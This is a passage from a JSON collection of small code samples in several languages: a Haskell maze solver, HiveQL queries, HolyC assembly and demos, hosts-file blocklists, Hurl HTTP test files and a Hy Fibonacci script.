    "content": "#!/usr/bin/runhaskell\n\nimport Data.Maybe\n\n-- given two points, returns the average of them\naverage :: (Int, Int) -> (Int, Int) -> (Int, Int)\naverage (x, y) (x', y') = ((x + x') `div` 2, (y + y') `div` 2)\n\n-- given a maze and a tuple of position and wall position, returns\n-- true if the wall position is not blocked (first position is unused)\nnotBlocked :: [String] -> ((Int, Int), (Int, Int)) -> Bool\nnotBlocked maze (_, (x, y)) = ' ' == (maze !! y) !! x\n\n-- given a list, a position, and an element, returns a new list\n-- with the new element substituted at the position\n-- (it seems such a function should exist in the standard library;\n-- I must be missing it)\nsubstitute :: [a] -> Int -> a -> [a]\nsubstitute orig pos el =\n  let (before, after) = splitAt pos orig\n  in before ++ [el] ++ tail after\n\n-- given a maze and a position, draw a '*' at that position in the maze\ndraw :: [String] -> (Int, Int) -> [String]\ndraw maze (x,y) = substitute maze y $ substitute row x '*'\n  where row = maze !! y\n\n-- given a maze, a previous position, and a list of tuples of potential\n-- new positions and their wall positions, returns the solved maze, or\n-- None if it cannot be solved\ntryMoves :: [String] -> (Int, Int) -> [((Int, Int), (Int, Int))] -> Maybe [String]\ntryMoves _ _ [] = Nothing\ntryMoves maze prevPos ((newPos,wallPos):more) =\n  case solve' maze newPos prevPos\n       of Nothing -> tryMoves maze prevPos more\n          Just maze' -> Just $ foldl draw maze' [newPos, wallPos]\n\n-- given a maze, a new position, and a previous position, returns\n-- the solved maze, or None if it cannot be solved\n-- (assumes goal is upper-left corner of maze)\nsolve' :: [String] -> (Int, Int) -> (Int, Int) -> Maybe [String]\nsolve' maze (2, 1) _ = Just maze\nsolve' maze pos@(x, y) prevPos =\n  let newPositions = [(x, y - 2), (x + 4, y), (x, y + 2), (x - 4, y)]\n      notPrev pos' = pos' /= prevPos\n      newPositions' = filter notPrev newPositions\n      wallPositions = map (average pos) newPositions'\n      zipped = zip newPositions' wallPositions\n      legalMoves = filter (notBlocked maze) zipped\n  in tryMoves maze pos legalMoves\n\n-- given a maze, returns a solved maze, or None if it cannot be solved\n-- (starts at lower right corner and goes to upper left corner)\nsolve :: [String] -> Maybe [String]\nsolve maze = solve' (draw maze start) start (-1, -1)\n  where startx = length (head maze) - 3\n        starty = length maze - 2\n        start = (startx, starty)\n\n-- takes unsolved maze on standard input, prints solved maze on standard output\nmain = interact main'\n  where main' x = unlines $ fromMaybe [\"can't solve\"] $ solve $ lines x\n"
  },
  {
    "path": "samples/HiveQL/mi.q",
    "content": "set hive.mapred.mode=nonstrict;\nset hive.exec.dynamic.partition=true;\nset hive.exec.dynamic.partition.mode=nonstrict;\n\n-- SORT_QUERY_RESULTS\n\ncreate table nzhang_t1 like srcpart;\ncreate table nzhang_t2 like srcpart;\n\nFROM srcpart \nINSERT OVERWRITE TABLE nzhang_t1 PARTITION (ds, hr) \nSELECT key, value, ds, hr\nWHERE ds = '2008-04-08' AND hr = '11'\nINSERT OVERWRITE TABLE nzhang_t2 PARTITION (ds, hr) \nSELECT key, value, ds, hr\nWHERE ds = '2008-04-08' and hr = '12'\nGROUP BY key, value, ds, hr;\n\nshow partitions nzhang_t1;\nshow partitions nzhang_t2;\n\nselect * from nzhang_t1;\nselect * from nzhang_t2;\n"
  },
  {
    "path": "samples/HiveQL/query.hql",
    "content": "SET hive.tez.container.size = 2048;\nset hive.optimize.sort.dynamic.partition=true;\n\nSET hivevar:DB=test;\n\ncreate database if not exists ${DB};\n\n-- External CSV table\nCREATE EXTERNAL TABLE ${DB}.users (\n  id STRING,\n  name STRING,\n  age INT\n)\nCOMMENT 'External table mapping CSV files'\nROW FORMAT DELIMITED\nFIELDS TERMINATED BY ','\nNULL DEFINED AS ''\nSTORED AS TEXTFILE\nLOCATION 'hdfs:///some/hdfs/path'\nTBLPROPERTIES ('skip.header.line.count' = '1');\nMSCK REPAIR TABLE ${DB}.methodos_csv SYNC PARTITIONS;\n\n-- ORC table\ncreate table ${DB}.purchases\nas\n  select product, price, user_id\nfrom ${DB}.purchases_extended\nstored as orc\ntblproperties ('orc.compress'='ZLIB');\n\n-- Join query\nSELECT name, sum(price) as total_spent, count(product) as nb_products\nFROM ${DB}.users\nLEFT JOIN ${DB}.purchases\nGROUP BY name;\n"
  },
  {
    "path": "samples/HolyC/GrAsm.HC",
    "content": "#help_index \"Graphics/Misc\"\nasm {\n//************************************\n_GR_UPDATE_LINE64::\n\tPUSH\tRBP\n\tMOV\tRBP,RSP\n\tPUSH\tRSI\n\tPUSH\tRDI\n\n\tMOV\tRAX,U64 SF_ARG2[RBP]\n\tMOV\tRSI,U64 [RAX] // rsi=src\n\tMOV\tRBX,U64 [&rev_bits_table]\n\tMOV\tRCX,U64 SF_ARG3[RBP] // rcx=d\n\tMOV\tRAX,U64 SF_ARG4[RBP]\n\tMOV\tRDI,U64 [RAX] // rdi=image\n\n\tMOV\tRAX,U64 SF_ARG1[RBP]\n\tMOV\tR8,U64 [RAX] // rbp=vga dst\n\n@@05:\tLODSQ\n\tCMP\tU64 [RDI],RAX\n\tJE\t@@10\n\tMOV\tU64 [RDI],RAX\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tMOV\tU64 [R8],RAX\n@@10:\tADD\tRDI,8\n\tADD\tR8,8\n\tDEC\tRCX\n\tJNZ\t@@05\n\n\tMOV\tRAX,U64 SF_ARG1[RBP]\n\tMOV\tU64 [RAX],R8\n\tMOV\tRAX,U64 SF_ARG4[RBP]\n\tMOV\tU64 [RAX],RDI\n\tMOV\tRAX,U64 SF_ARG2[RBP]\n\tMOV\tU64 [RAX],RSI\n\tPOP\tRDI\n\tPOP\tRSI\n\tPOP\tRBP\n\tRET1\t32\n\t//************************************\n_GR_UPDATE_LINE64_FLUSH_CACHE::\n\tPUSH\tRBP\n\tMOV\tRBP,RSP\n\tPUSH\tRSI\n\tPUSH\tRDI\n\n\tMOV\tRAX,U64 SF_ARG2[RBP]\n\tMOV\tRSI,U64 [RAX] // rsi=src\n\tMOV\tRBX,U64 [&rev_bits_table]\n\tMOV\tRCX,U64 SF_ARG3[RBP] // rcx=d\n\tMOV\tRAX,U64 SF_ARG4[RBP]\n\tMOV\tRDI,U64 [RAX] // rdi=image\n\n\tMOV\tRAX,U64 SF_ARG1[RBP]\n\tMOV\tR8,U64 [RAX] // rbp=vga dst\n\n@@05:\tLODSQ\n\tMOV\tU64 [RDI],RAX\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tXLATB\n\tROR\tRAX,8\n\tMOV\tU64 [R8],RAX\n\tADD\tRDI,8\n\tADD\tR8,8\n\tDEC\tRCX\n\tJNZ\t@@05\n\n\tMOV\tRAX,U64 SF_ARG1[RBP]\n\tMOV\tU64 [RAX],R8\n\tMOV\tRAX,U64 SF_ARG4[RBP]\n\tMOV\tU64 [RAX],RDI\n\tMOV\tRAX,U64 SF_ARG2[RBP]\n\tMOV\tU64 [RAX],RSI\n\tPOP\tRDI\n\tPOP\tRSI\n\tPOP\tRBP\n\tRET1\t32\n\t//************************************\n_DC_BLOT_COLOR4::\n\tPUSH\tRBP\n\tMOV\tRBP,RSP\n\tPUSH\tRSI\n\tPUSH\tRDI\n\tPUSH\tR10\n\n\tMOV\tRDI,U64 SF_ARG1[RBP]\n\tMOV\tRSI,U64 SF_ARG2[RBP]\n\tMOV\tRBX,U64 SF_ARG3[RBP]\n\tMOV\tRCX,U64 SF_ARG4[RBP]\n\n\tMOV\tR8,RDI\n\tADD\tR8,RCX\n\tMOV\tR9,R8\n\tADD\tR9,RCX\n\tMOV\tR10,R9\n\tADD\tR10,RCX\n\n@@5:\tLODSQ\n\tMOV\tRDX,U64 [RBX]\n\tCMP\tRAX,RDX\n\tJE\tI32 @@10\n\tMOV\tU64 [RBX],RAX\n\n\tXOR\tRDX,RDX\n\tBT\tRAX,7*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,6*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,5*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,4*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,3*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,2*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,1*8+0\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,0*8+0\n\tADC\tRDX,0\n\tMOV\tU8 [RDI],DL\n\n\tXOR\tRDX,RDX\n\tBT\tRAX,7*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,6*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,5*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,4*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,3*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,2*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,1*8+1\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,0*8+1\n\tADC\tRDX,0\n\tMOV\tU8 [R8],DL\n\n\tXOR\tRDX,RDX\n\tBT\tRAX,7*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,6*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,5*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,4*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,3*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,2*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,1*8+2\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,0*8+2\n\tADC\tRDX,0\n\tMOV\tU8 [R9],DL\n\n\tXOR\tRDX,RDX\n\tBT\tRAX,7*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,6*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,5*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,4*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,3*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,2*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,1*8+3\n\tADC\tRDX,0\n\tSHL1\tRDX\n\tBT\tRAX,0*8+3\n\tADC\tRDX,0\n\tMOV\tU8 [R10],DL\n\n@@10:\tADD\tRBX,8\n\n\tINC\tRDI\n\tINC\tR8\n\tINC\tR9\n\tINC\tR10\n\n\tDEC\tRCX\n\tJNZ\tI32 @@5\n\n\tPOP\tR10\n\tPOP\tRDI\n\tPOP\tRSI\n\tPOP\tRBP\n\tRET1\t32\n\t//************************************\n_IS_PIX_COVERED0::\n\tPUSH\tRBP\n\tMOV\tRBP,RSP\n#assert FONT_WIDTH == FONT_HEIGHT == 8\n\tMOV\tRCX,U64 SF_ARG3[RBP]\n\tSAR\tRCX,3\n\tMOV\tRAX,U64 SF_ARG2[RBP]\n\tSAR\tRAX,3\n\tMOV\tRDX,U64 SF_ARG1[RBP]\n\tIMUL2\tRCX,TEXT_COLS\n\tMOV\tRBX,U64 [&gr.win_z_buf]\n\tMOV\tDX,U16 CTask.win_z_num[RDX]\n\tADD\tRCX,RAX\n\tXOR\tRAX,RAX\n\tCMP\tDX,U16 [RBX+RCX*2]\n\tJAE\t@@05 // Jump not covered\n\tINC\tRAX\n@@05:\tPOP\tRBP\n\tRET1\t24\n\t//************************************\n_GR_ROP_EQU_U8_NO_CLIPPING::\n\t// Puts foreground char shape onto gr.dc2.\n\t// ch.u8[1] is color as a whole byte\n\t// ch ATTRf_UNDERLINE attr flag is used.\n\tPUSH\tRBP\n\tMOV\tRBP,RSP\n\tMOVZX\tRAX,U8 SF_ARG1[RBP]\n\tMOV\tRDX,U64 [&text.font]\n\tMOV\tRAX,U64 [RDX+RAX*8] // RAX is 8x8 char font data, 64-bits\n\tBT\tU64 SF_ARG1[RBP],ATTRf_UNDERLINE\n\tJNC\t@@05\n\tMOV\tRBX,0xFF00000000000000\n\tOR\tRAX,RBX\n@@05:\tTEST\tRAX,RAX\n\tJZ\tI32 @@10\n\n\tPUSH\tRSI\n\tPUSH\tRDI\n\tMOVZX\tRBX,U8 SF_ARG1+1[RBP] // Warning color is 8-bit\n\tMOV\tRDX,U64 [&gr.to_8_colors]\n\tMOV\tR8,U64 [RDX+RBX*8] // R8 is color repeated 8 times.\n\tMOV\tR9,U64 SF_ARG3[RBP] // R9 is width_internal\n\tMOV\tRDI,U64 SF_ARG2[RBP]\n\tMOV\tRSI,U64 [&gr.to_8_bits] // RSI is gr.to_8_bits\n\n\t//\tm=my_1_to_8_bits[ch&255];ch>>=8;\n\t//\t*dst=*dst&~m|c&m;\n\t//\tdst(U8 *)+=w1;\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOVZX\tRBX,AL\n\tMOV\tRDX,U64 [RSI+RBX*8]\n\tSHR\tRAX,8\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\tADD\tRDI,R9\n\n\tMOV\tRDX,U64 [RSI+RAX*8]\n\tMOV\tRBX,U64 [RDI]\n\tMOV\tRCX,RDX\n\tNOT\tRCX\n\tAND\tRDX,R8\n\tAND\tRCX,RBX\n\tOR\tRCX,RDX\n\tMOV\tU64 [RDI],RCX\n\n\tPOP\tRDI\n\tPOP\tRSI\n@@10:\tPOP\tRBP\n\tRET1\t24\n}\n_extern _GR_ROP_EQU_U8_NO_CLIPPING U0 GrRopEquU8NoClipping(I64 ch,\n\t\t\t\t\t\t\t   U8 *dst, I64 width_internal);\npublic\n_extern _IS_PIX_COVERED0 Bool IsPixCovered0(\n\tCTask *task, I64 x, I64 y); // No clipping\n\n_extern _GR_UPDATE_LINE64 U0 GrUpdateLine64(\n\tU64 **_vga, U64 **_src, I64 d, U8 **_dst);\n_extern _GR_UPDATE_LINE64_FLUSH_CACHE U0 GrUpdateLine64FlushCache(\n\tU64 **_vga, U64 **_src, I64 d, U8 **_dst);\n_extern _DC_BLOT_COLOR4 U0 DCBlotColor4(\n\tU8 *dst, I64 *img, I64 *img_cache, I64 cnt);\n"
  },
  {
    "path": "samples/HolyC/OnceDemo.HC",
    "content": "U0 OnceDemo()\n{ // Set code to execute next reboot.\n\tOnce(\"Beep;\");\n\tOnce(\"Dir;\"); // You can issue multiple and they get queued.\n\t\"Reboot \";\n\tif (YorN)\n\t\tBootRAM;\n}\n\nOnceDemo;\n"
  },
  {
    "path": "samples/HolyC/Prompt.HC",
    "content": "U0 PromptDemo()\n{\n\tF64 d;\n\tI64 i;\n\tU8 *name;\n\tCDate cdt;\n\n\t\"\\n\\nNow prompting from the cmd line.\\n\\n\"\n\t\"$$GREEN$$<ENTER>$$FG$$ keeps default.\\n\\n\";\n\n\ti=GetI64(\"Enter int expression(%d):\",123);\n \t\"Int=%d\\n\",i;\n\n\td=GetF64(\"Enter float expression(%12g):\",1.2e3);\n\t\"Float=%e\\n\",d;\n\n\tname=GetStr(\"Name (%s):\",\"John\");\n\t\"Name:%s\\n\",name;\n\tFree(name);\n\n\tcdt=GetDate(\"Date (%D):\",Now);\n\t\"Date=%D\\n\",cdt;\n}\n\nPromptDemo;\n"
  },
  {
    "path": "samples/HolyC/RandDemo.HC",
    "content": "U0 RandPts()\n{\n\tI64 i;\n\tF64 t0=tS;\n\tdo {\n\t\tfor (i=0;i<1024;i++) {\n\t\t\tgr.dc->color=RandU16&15;\n\t\t\tGrPlot(gr.dc,RandU32%GR_WIDTH,RandU32%GR_HEIGHT);\n\t\t}\n\t\tYield;\n\t} while (tS-t0<1);\n\tDCFill;\n}\n\nU0 RandDemo()\n{\n\tI64 i;\n\n\t\"Seed(0) will do timer XORed random numbers.  \"\n\t\"A task starts with $LK,\"Seed(0)\",A=\"FF:::/Kernel/KTask.HC,Seed(\"$ by dft.\\n\";\n\tPressAKey;\n\tSeed;\n\tRandPts;\n\tDCFill;\n\n\t\"\\nSeed(num) will do deterministic, non-timer random numbers starting at \"\n\t\"a specific seed.  You can run a specific video game over and over \"\n\t\"by typing Seed(num) at the cmd line before the game.\\n\";\n\tPressAKey;\n\tSeed(1);\n\tRandPts;\n\tDCFill;\n\n\t\"\\n\\n\\nWatch when we specify specific seeds:\";\n\n\t\"\\n\\nSeed(1);\\n\";\n\tSeed(1);\n\tfor (i=0;i<5;i++)\n\t\t\"%d: %d\\n\",i,RandI16;\n\n\t\"\\nSeed(2); Different, right?\\n\";\n\tSeed(2);\n\tfor (i=0;i<5;i++)\n\t\t\"%d: %d\\n\",i,RandI16;\n\n\t\"\\nSeed(1); Repeats earlier values.\\n\";\n\tSeed(1);\n\tfor (i=0;i<5;i++)\n\t\t\"%d: %d\\n\",i,RandI16;\n\n\t\"\\nSeed(0); Zero is special.\\n\";\n\tSeed(0);\n\tfor (i=0;i<5;i++)\n\t\t\"%d: %d\\n\",i,RandI16;\n\n\t\"\\nSeed(0); Non-repeating.\\n\";\n\tSeed(0);\n\tfor (i=0;i<5;i++)\n\t\t\"%d: %d\\n\",i,RandI16;\n\n\tSeed; // Dft should be kept to zero.\n}\n\nRandDemo;\n"
  },
  {
    "path": "samples/HolyC/Spy.HC",
    "content": "// Pass the task structure you\n// wish to spy upon.\n\nU0 SpyStkRep(CTask *task)\n{\n\tCDoc *doc=DocDblBufStart;\n\twhile (!ScanChar && TaskValidate(task)) {\n\t\tStkRep(task);\n\t\t'\\n';\n\t\t\"$$BK,1$$PRESS A KEY$$BK,0$$\\n\";\n\t\tDocDblBufSwap;\n\t\tRefresh;\n\t}\n\tif (DocPut==doc) DocDblBufSwap;\n\tDocDblBufEnd;\n}\n\nU0 SpyCallerRep(CTask *task)\n{\n\tCDoc *doc=DocDblBufStart;\n\twhile (!ScanChar && TaskValidate(task)) {\n\t\tCallerRep(task->rbp,task);\n\t\t'\\n';\n\t\t\"$$BK,1$$PRESS A KEY$$BK,0$$\\n\";\n\t\tDocDblBufSwap;\n\t\tRefresh;\n\t}\n\tif (DocPut==doc) DocDblBufSwap;\n\tDocDblBufEnd;\n}\n\nU0 Spy()\n{\n\tI64 i;\n\tCTask *task;\n\n\twhile (TRUE) {\n\t\ttask=Fs->next_task;\n\t\twhile (task!=Fs) {\n\t\t\t\"$$MA+X,T=\\\"Task:%08X:%16ts\\\",LM=\\\"0x%08X\\n\\\"$$\\n\",\n\t\t\ttask,task->task_name,task;\n\t\t\ttask=task->next_task;\n\t\t}\n\t\t'\\n';\n\t\ttask=GetI64(\"Task Addr: \",0);\n\t\tif (TaskValidate(task)) {\n\t\t\t\"\\n\\n\\t$$BT,\\\"StkRep\\\",LM=\\\"1\\n\\\"$$\\n\\n\\n\"\n\t\t\t\"\\n\\n\\t$$BT,\\\"CallerRep\\\",LM=\\\"2\\n\\\"$$\\n\\n\\n\";\n\t\t\ti=GetI64(\"\",0);\n\t\t\tif (i==1)\n\t\t\t\tSpyStkRep(task);\n\t\t\telse if (i==2)\n\t\t\t\tSpyCallerRep(task);\n\t\t\telse\n\t\t\t\tbreak;\n\t\t} \n\t\telse\n\t\t\tbreak;\n\t}\n\t'\\n';\n}\n\nSpy;\n"
  },
  {
    "path": "samples/Hosts File/filenames/hosts",
    "content": "127.0.0.1\tlocalhost labs\n255.255.255.255\tbroadcasthost\n::1\tlocalhost\nfe80::1%lo0\tlocalhost\n"
  },
  {
    "path": "samples/Hosts File/filenames/hosts.txt",
    "content": "#\n# License:\t\t\t\t\t\t\t\t\tMIT License (MIT)\n# File encoding: \t\t\t\t\t\t\tUTF-8 Dos/Windows 1252\n# Original maintainer:\t\t\t\t\t\tCHEF-KOCH\n# Notice:\t\t\t\t\t\t\t\t\t\n# Version:\t\t\t\t\t\t\t\t\t000000000011\n# Homepage: \t\t\t\t\t\t\t\thttp://chef-koch.github.io/NSABlocklist/HOSTS.txt\n#\n127.0.0.1 localhost\t\t\t\t\t\t#[IPv4 only]\n127.0.0.1 localhost.localdomain\t\t\t#\n127.0.0.1 255.255.255.255 broadcasthost #Unix/Mac serv.\n#::1 localhost\t\t\t\t\t\t\t#[IPv6 only]\n#127.0.0.1 local \t\t\t\t\t\t#Unix only\n#\n\n# NSABlocklist begins here\n0.0.0.0 adm.kemoge.net\n0.0.0.0 taosha.cc\n0.0.0.0 ns1.automattic.com\n0.0.0.0 dns.ns1.edgecastcdn.net\n0.0.0.0 skewednews.net\n0.0.0.0 open-tx.org\n0.0.0.0 razor-qt.org\n0.0.0.0 nickknowlson.com\n0.0.0.0 springfuse.com\n0.0.0.0 ns4.1-800-hosting.com\n0.0.0.0 ns7.dns-net.de\n0.0.0.0 coffeehausblog.com\n0.0.0.0 ns1.dns-net.de\n0.0.0.0 newjunk4u.com\n0.0.0.0 suddenplot.com\n0.0.0.0 ns2.21vianet.com.cn\n0.0.0.0 martinharrigan.ie\n0.0.0.0 DARKNESS.SU\n0.0.0.0 WEED.SU\n0.0.0.0 MEZIAMUSSUCEMAQUEUE.SU\n0.0.0.0 UMBXD15896.SU\n0.0.0.0 STYXB1TCH35.SU\n0.0.0.0 J1NXFYR3.SU\n0.0.0.0 dns1.wiresix.com\n0.0.0.0 andyshora.com\n0.0.0.0 monster-ads.net\n0.0.0.0 nickleplatedads.com\n0.0.0.0 chrissharkey.com\n0.0.0.0 ns2.olemiss.edu\n0.0.0.0 dns2.accesscomm.ca\n0.0.0.0 ns2.pnap.net\n0.0.0.0 dns2.artelecom.pt\n0.0.0.0 ns.relc.com\n0.0.0.0 ns.ukrnet.net\n0.0.0.0 ns.ua.net\n0.0.0.0 ns.lucky.net\n0.0.0.0 ns.adams.net\n0.0.0.0 electronicfrontierfoundation.org\n0.0.0.0 ns2.acnusa.net\n0.0.0.0 ns2.eatel.net\n0.0.0.0 gamma.aei.ca\n0.0.0.0 delta.aei.ca\n\n# GOV Pages only\n0.0.0.0 ABERDEENWA.GOV\n0.0.0.0 ABINGDON-VA.GOV\n0.0.0.0 ABINGTONMA.GOV\n0.0.0.0 ABSECONNJ.GOV\n0.0.0.0 ACTON-MA.GOV\n0.0.0.0 ACTONMA.GOV\n0.0.0.0 ADAK-AK.GOV\n0.0.0.0 ADAMN.GOV\n0.0.0.0 ADDISONTX.GOV\n0.0.0.0 AFTONWYOMING.GOV\n0.0.0.0 AKRONOHIO.GOV\n0.0.0.0 ALAMEDACA.GOV\n0.0.0.0 ALGONAWA.GOV\n0.0.0.0 ALIQUIPPAPA.GOV\n0.0.0.0 ALLIANCEOH.GOV\n0.0.0.0 ALMONTMICHIGAN.GOV\n0.0.0.0 ALSTEADNH.GOV\n0.0.0.0 ALTAVISTAVA.GOV\n0.0.0.0 ALTON-TX.GOV\n0.0.0.0 ALTUSOK.GOV\n0.0.0.0 ALVIN-TX.GOV\n0.0.0.0 AMARILLO.GOV\n0.0.0.0 AMENIANY.GOV\n0.0.0.0 AMERICUSGA.GOV\n0.0.0.0 AMERYWI.GOV\n0.0.0.0 AMITYARKANSAS.GOV\n0.0.0.0 AMSTERDAMNY.GOV\n0.0.0.0 ANDOVERMN.GOV\n0.0.0.0 ANGELFIRENM.GOV\n0.0.0.0 ANGELSCAMP.GOV\n0.0.0.0 ZIONSVILLE-IN.GOV\n0.0.0.0 dsdn-gh1-uea05.nsa.gov\n0.0.0.0 emvm-gh1-uea08.nsa.gov\n# /GOV Pages\n#/NSABlocklist ends here\n"
  },
  {
    "path": "samples/Hurl/assert.hurl",
    "content": "# Testing 200 OK\nGET https://example.org/order/435\nHTTP 200\n\n# Testing status code is in a 200-300 range\nGET https://example.org/order/435\nHTTP *\n[Asserts]\nstatus >= 200\nstatus < 300\n\n# XPath asserts can be used to check HTML content\nGET https://example.org\nHTTP 200\nContent-Type: text/html; charset=UTF-8\n[Asserts]\nxpath \"string(/html/head/title)\" contains \"Example\" # Check title\nxpath \"count(//p)\" == 2                             # Check the number of p\nxpath \"//p\" count == 2                              # Similar assert for p\nxpath \"boolean(count(//h2))\" == false               # Check there is no h2\nxpath \"//h2\" not exists                             # Similar assert for h2\nxpath \"string(//div[1])\" matches /Hello.*/\n"
  },
  {
    "path": "samples/Hurl/body.hurl",
    "content": "POST https://example.org/models\nContent-Type: text/csv\n```\nYear,Make,Model,Description,Price\n1997,Ford,E350,\"ac, abs, moon\",3000.00\n1999,Chevy,\"Venture \"\"Extended Edition\"\"\",\"\",4900.00\n1999,Chevy,\"Venture \"\"Extended Edition, Very Large\"\"\",,5000.00\n1996,Jeep,Grand Cherokee,\"MUST SELL! air, moon roof, loaded\",4799.00\n```\n\n# Check attributes of the SSL certificate\nGET https://example.org\nHTTP 200\n[Asserts]\ncertificate \"Subject\" == \"CN=example.org\"\ncertificate \"Issuer\" == \"C=US, O=Let's Encrypt, CN=R3\"\ncertificate \"Expire-Date\" daysAfterNow > 15\ncertificate \"Serial-Number\" matches /[\\da-f]+/\n\nPOST https://example.org/graphql\n```graphql\n{\n  human(id: \"1000\") {\n    name\n    height(unit: FOOT)\n  }\n}\n```\nHTTP 200\n\nPOST https://example.org/InStock\nContent-Type: application/soap+xml; charset=utf-8\nSOAPAction: \"http://www.w3.org/2003/05/soap-envelope\"\n<?xml version=\"1.0\" encoding=\"UTF-8\"?>\n<soap:Envelope xmlns:soap=\"http://www.w3.org/2003/05/soap-envelope\" xmlns:m=\"https://example.org\">\n  <soap:Header></soap:Header>\n  <soap:Body>\n    <m:GetStockPrice>\n      <m:StockName>GOOG</m:StockName>\n    </m:GetStockPrice>\n  </soap:Body>\n</soap:Envelope>\nHTTP 200\n"
  },
  {
    "path": "samples/Hurl/capture-data.hurl",
    "content": "# Go home and capture token\nGET https://example.org\nHTTP 200\n[Captures]\ncsrf_token: xpath \"string(//meta[@name='_csrf_token']/@content)\"\n\n\n# Do login!\nPOST https://example.org/login\nX-CSRF-TOKEN: {{csrf_token}}\n[Form]\nuser: toto\npassword: 1234\nHTTP 302\n"
  },
  {
    "path": "samples/Hurl/request-headers.hurl",
    "content": "# A simple GET with headers\nGET https://example.org/news\nUser-Agent: Mozilla/5.0\nAccept: */*\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate, br\nConnection: keep-alive\n\n# Sending form data\nPOST https://example.org/contact\n[Form]\ndefault: false\ntoken: {{token}}\nemail: john.doe@rookie.org\nnumber: 33611223344\n"
  },
  {
    "path": "samples/Hy/fibonacci.hy",
    "content": ";; Fibonacci example in Hy.\n\n(defn fib [n]\n  (if (<= n 2) n\n      (+ (fib (- n 1)) (fib (- n 2)))))\n\n(if (= __name__ \"__main__\")\n  (for [x [1 2 3 4 5 6 7 8]]\n    (print (fib x))))\n"
  },
  {
    "path": "samples/Hy/fizzbuzz",
